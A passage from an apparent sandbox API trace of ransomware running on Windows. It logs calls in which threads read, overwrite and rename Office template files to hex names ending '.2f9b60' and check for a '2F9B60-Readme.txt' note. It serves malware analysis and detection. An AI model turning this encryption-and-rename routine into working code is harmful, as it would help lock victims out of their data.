Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x1b112425 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x4c482cdb [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x1d111d55 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x143e0839 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x3c5d466a [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x4d901aa1 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x29719640 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x755cfb50 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x6d8dbcfc [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x74cbefc5 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x58d4bec3 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x240eaa63 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x1bd49 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x23e05366 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x26915da3 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x6385e0a8 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x7fe0b0a1 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x5ad461e9 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x74cfa614 [0133.136] RtlRandomEx (in: Seed=0x2b5ff990 | out: Seed=0x2b5ff990) returned 0x1a2a5f2d [0133.144] ReadFile (in: hFile=0x1b50, lpBuffer=0x1cf35640, nNumberOfBytesToRead=0x1134, lpNumberOfBytesRead=0x2b5ff990, lpOverlapped=0x0 | out: lpBuffer=0x1cf35640*, lpNumberOfBytesRead=0x2b5ff990*=0x1134, lpOverlapped=0x0) returned 1 [0133.161] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.161] WriteFile (in: hFile=0x1b50, lpBuffer=0x1cf39250*, nNumberOfBytesToWrite=0x1134, lpNumberOfBytesWritten=0x2b5ff994, lpOverlapped=0x0 | out: lpBuffer=0x1cf39250*, lpNumberOfBytesWritten=0x2b5ff994*=0x1134, lpOverlapped=0x0) returned 1 [0133.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671a0 [0133.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f60) returned 1 [0133.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf39250) returned 1 [0133.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf35640) returned 1 [0133.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 [0133.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0133.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20266f60 [0133.179] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.179] WriteFile (in: hFile=0x1b50, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2b5ffab0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2b5ffab0*=0x106, lpOverlapped=0x0) returned 1 [0133.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0133.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d470 [0133.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0133.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267140) returned 1 [0133.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0133.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0133.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0133.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267080) returned 1 [0133.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 [0133.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0133.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f270 [0133.192] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="ee") returned 2 [0133.192] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="a4") returned 2 [0133.192] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="27") returned 2 [0133.192] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="ed") returned 2 [0133.192] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="f3") returned 2 [0133.192] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="cc") returned 2 [0133.192] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="48") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="65") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="bf") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="9a") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="00") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="3b") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="c8") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="05") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="b2") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="11") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="4c") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="53") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="d8") returned 2 [0133.193] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="a0") returned 2 [0133.193] RtlInitAnsiString (in: DestinationString=0x2b5ffb28, SourceString="eea427edf3cc4865bf9a003bc805b2114c53d8a0" | out: DestinationString="eea427edf3cc4865bf9a003bc805b2114c53d8a0") [0133.193] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b5ffaf8, SourceString="eea427edf3cc4865bf9a003bc805b2114c53d8a0", AllocateDestinationString=1 | out: DestinationString="eea427edf3cc4865bf9a003bc805b2114c53d8a0") returned 0x0 [0133.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced5740 [0133.194] wcscat (in: _Dest=0x1b8625c0, _Source="eea427edf3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\eea427edf3") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\eea427edf3" [0133.194] wcscat (in: _Dest=0x1b8625c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\eea427edf3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\eea427edf3.2f9b60" [0133.194] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\eea427edf3.2f9b60", NtPathName=0x2b5ffad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\eea427edf3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1193e0 [0133.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0133.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052740) returned 1 [0133.196] NtQueryInformationFile (in: FileHandle=0x1b50, IoStatusBlock=0x2b5ffb38, FileInformation=0x2b5ffb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b5ffb38, FileInformation=0x2b5ffb48) returned 0x0 [0133.196] NtSetInformationFile (FileHandle=0x1b50, IoStatusBlock=0x2b5ffb38, FileInformation=0x2b5ffb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 [0133.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5740) returned 1 [0133.198] FlushFileBuffers (hFile=0x1b50) returned 1 [0138.530] CloseHandle (hObject=0x1b50) returned 1 [0138.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b950 [0138.602] wcscpy (in: _Dest=0x2050b950, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0138.602] wcscat (in: _Dest=0x2050b950, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0138.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0x20 [0139.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b950) returned 1 [0139.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d5f0) returned 1 Thread: id = 1868 os_tid = 0x1008 [0133.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\payment type.accft")) returned 0x20 [0133.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft", dwFileAttributes=0x20) returned 1 [0133.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\payment type.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b4c [0133.158] GetFileSizeEx (in: hFile=0x1b4c, lpFileSize=0x2bf3fd40 | out: lpFileSize=0x2bf3fd40*=4361) returned 1 [0133.158] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x1105, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.158] ReadFile (in: hFile=0x1b4c, lpBuffer=0x2bf3fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bf3fd08, lpOverlapped=0x0 | out: lpBuffer=0x2bf3fcc0*, lpNumberOfBytesRead=0x2bf3fd08*=0x4, lpOverlapped=0x0) returned 1 [0133.163] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671a0 [0133.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267110 [0133.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.164] NtQuerySystemTime (in: CurrentTime=0x2bf3fc00 | out: CurrentTime=0x2bf3fc00*=132462177384106000) returned 0x0 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x521b7a77 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x5fdd06e9 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x7f19678e [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x18cb7526 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x3b0657ac [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x61804852 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x2868ade3 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x68f0fbd5 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x79ffcecc [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0xb58c9e9 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x138b90f9 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x4ecd95a [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x58d79dc8 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x33c1cd60 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x6579f7b [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x3ab4a13 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x5fa3c328 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x7e31ef58 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x511b60cf [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x7d19cfa3 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x146602a8 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x242a2da9 [0133.164] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x3bc319f0 [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x3f06939d [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x39c143b [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x2cb831da [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x23ad8b77 [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x4e9dd4b5 [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x3342432b [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x7e01c276 [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x4687f696 [0133.165] RtlRandomEx (in: Seed=0x2bf3fbf0 | out: Seed=0x2bf3fbf0) returned 0x67e9916e [0133.176] ReadFile (in: hFile=0x1b4c, lpBuffer=0x1cf3ce60, nNumberOfBytesToRead=0x1109, lpNumberOfBytesRead=0x2bf3fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1cf3ce60*, lpNumberOfBytesRead=0x2bf3fbf0*=0x1109, lpOverlapped=0x0) returned 1 [0133.180] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.180] WriteFile (in: hFile=0x1b4c, lpBuffer=0x1cf40a70*, nNumberOfBytesToWrite=0x1109, lpNumberOfBytesWritten=0x2bf3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x1cf40a70*, lpNumberOfBytesWritten=0x2bf3fbf4*=0x1109, lpOverlapped=0x0) returned 1 [0133.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0133.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ff0 [0133.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ff0) returned 1 [0133.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf40a70) returned 1 [0133.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf3ce60) returned 1 [0133.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0133.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0133.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f270 [0133.200] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.200] WriteFile (in: hFile=0x1b4c, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2bf3fd10, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2bf3fd10*=0x116, lpOverlapped=0x0) returned 1 [0133.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0133.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d470 [0133.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267170 [0133.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267170) returned 1 [0133.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20267170 [0133.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0133.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267140) returned 1 [0133.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 [0133.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0133.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1ced5740 [0133.219] sprintf (in: _Dest=0x1ced5740, _Format="%c%c" | out: _Dest="6c") returned 2 [0133.219] sprintf (in: _Dest=0x1ced5742, _Format="%c%c" | out: _Dest="f0") returned 2 [0133.219] sprintf (in: _Dest=0x1ced5744, _Format="%c%c" | out: _Dest="f5") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5746, _Format="%c%c" | out: _Dest="72") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5748, _Format="%c%c" | out: _Dest="eb") returned 2 [0133.220] sprintf (in: _Dest=0x1ced574a, _Format="%c%c" | out: _Dest="dc") returned 2 [0133.220] sprintf (in: _Dest=0x1ced574c, _Format="%c%c" | out: _Dest="ca") returned 2 [0133.220] sprintf (in: _Dest=0x1ced574e, _Format="%c%c" | out: _Dest="9c") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5750, _Format="%c%c" | out: _Dest="af") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5752, _Format="%c%c" | out: _Dest="c5") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5754, _Format="%c%c" | out: _Dest="d9") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5756, _Format="%c%c" | out: _Dest="7a") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5758, _Format="%c%c" | out: _Dest="e7") returned 2 [0133.220] sprintf (in: _Dest=0x1ced575a, _Format="%c%c" | out: _Dest="6c") returned 2 [0133.220] sprintf (in: _Dest=0x1ced575c, _Format="%c%c" | out: _Dest="1b") returned 2 [0133.220] sprintf (in: _Dest=0x1ced575e, _Format="%c%c" | out: _Dest="8d") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5760, _Format="%c%c" | out: _Dest="ca") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5762, _Format="%c%c" | out: _Dest="51") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5764, _Format="%c%c" | out: _Dest="a2") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5766, _Format="%c%c" | out: _Dest="02") returned 2 [0133.220] sprintf (in: _Dest=0x1ced5768, _Format="%c%c" | out: _Dest="be") returned 2 [0133.220] sprintf (in: _Dest=0x1ced576a, _Format="%c%c" | out: _Dest="ed") returned 2 [0133.220] sprintf (in: _Dest=0x1ced576c, _Format="%c%c" | out: _Dest="19") returned 2 [0133.220] sprintf (in: _Dest=0x1ced576e, _Format="%c%c" | out: _Dest="63") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5770, _Format="%c%c" | out: _Dest="97") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5772, _Format="%c%c" | out: _Dest="12") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5774, _Format="%c%c" | out: _Dest="34") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5776, _Format="%c%c" | out: _Dest="5c") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5778, _Format="%c%c" | out: _Dest="e8") returned 2 [0133.221] sprintf (in: _Dest=0x1ced577a, _Format="%c%c" | out: _Dest="d0") returned 2 [0133.221] sprintf (in: _Dest=0x1ced577c, _Format="%c%c" | out: _Dest="a8") returned 2 [0133.221] sprintf (in: _Dest=0x1ced577e, _Format="%c%c" | out: _Dest="52") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5780, _Format="%c%c" | out: _Dest="53") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5782, _Format="%c%c" | out: _Dest="7d") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5784, _Format="%c%c" | out: _Dest="68") returned 2 [0133.221] sprintf (in: _Dest=0x1ced5786, _Format="%c%c" | out: _Dest="71") returned 2 [0133.221] RtlInitAnsiString (in: DestinationString=0x2bf3fd88, SourceString="6cf0f572ebdcca9cafc5d97ae76c1b8dca51a202beed19639712345ce8d0a852537d6871" | out: DestinationString="6cf0f572ebdcca9cafc5d97ae76c1b8dca51a202beed19639712345ce8d0a852537d6871") [0133.221] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf3fd58, SourceString="6cf0f572ebdcca9cafc5d97ae76c1b8dca51a202beed19639712345ce8d0a852537d6871", AllocateDestinationString=1 | out: DestinationString="6cf0f572ebdcca9cafc5d97ae76c1b8dca51a202beed19639712345ce8d0a852537d6871") returned 0x0 [0133.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20508770 [0133.222] wcscat (in: _Dest=0x106c40, _Source="6cf0f572ebdcca9caf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\6cf0f572ebdcca9caf") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\6cf0f572ebdcca9caf" [0133.222] wcscat (in: _Dest=0x106c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\6cf0f572ebdcca9caf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\6cf0f572ebdcca9caf.2f9b60" [0133.222] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\6cf0f572ebdcca9caf.2f9b60", NtPathName=0x2bf3fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\6cf0f572ebdcca9caf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1b776770 [0133.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0133.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052740) returned 1 [0133.225] NtQueryInformationFile (in: FileHandle=0x1b4c, IoStatusBlock=0x2bf3fd98, FileInformation=0x2bf3fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bf3fd98, FileInformation=0x2bf3fda8) returned 0x0 [0133.225] NtSetInformationFile (FileHandle=0x1b4c, IoStatusBlock=0x2bf3fd98, FileInformation=0x2bf3fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0133.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508770) returned 1 [0133.228] FlushFileBuffers (hFile=0x1b4c) returned 1 [0138.530] CloseHandle (hObject=0x1b4c) returned 1 [0138.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d580 [0138.604] wcscpy (in: _Dest=0x2050d580, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0138.604] wcscat (in: _Dest=0x2050d580, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0138.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0x20 [0139.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d580) returned 1 [0139.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8632d0) returned 1 Thread: id = 1869 os_tid = 0x1088 [0133.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\phone.accft")) returned 0x20 [0133.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft", dwFileAttributes=0x20) returned 1 [0133.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\phone.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b54 [0133.188] GetFileSizeEx (in: hFile=0x1b54, 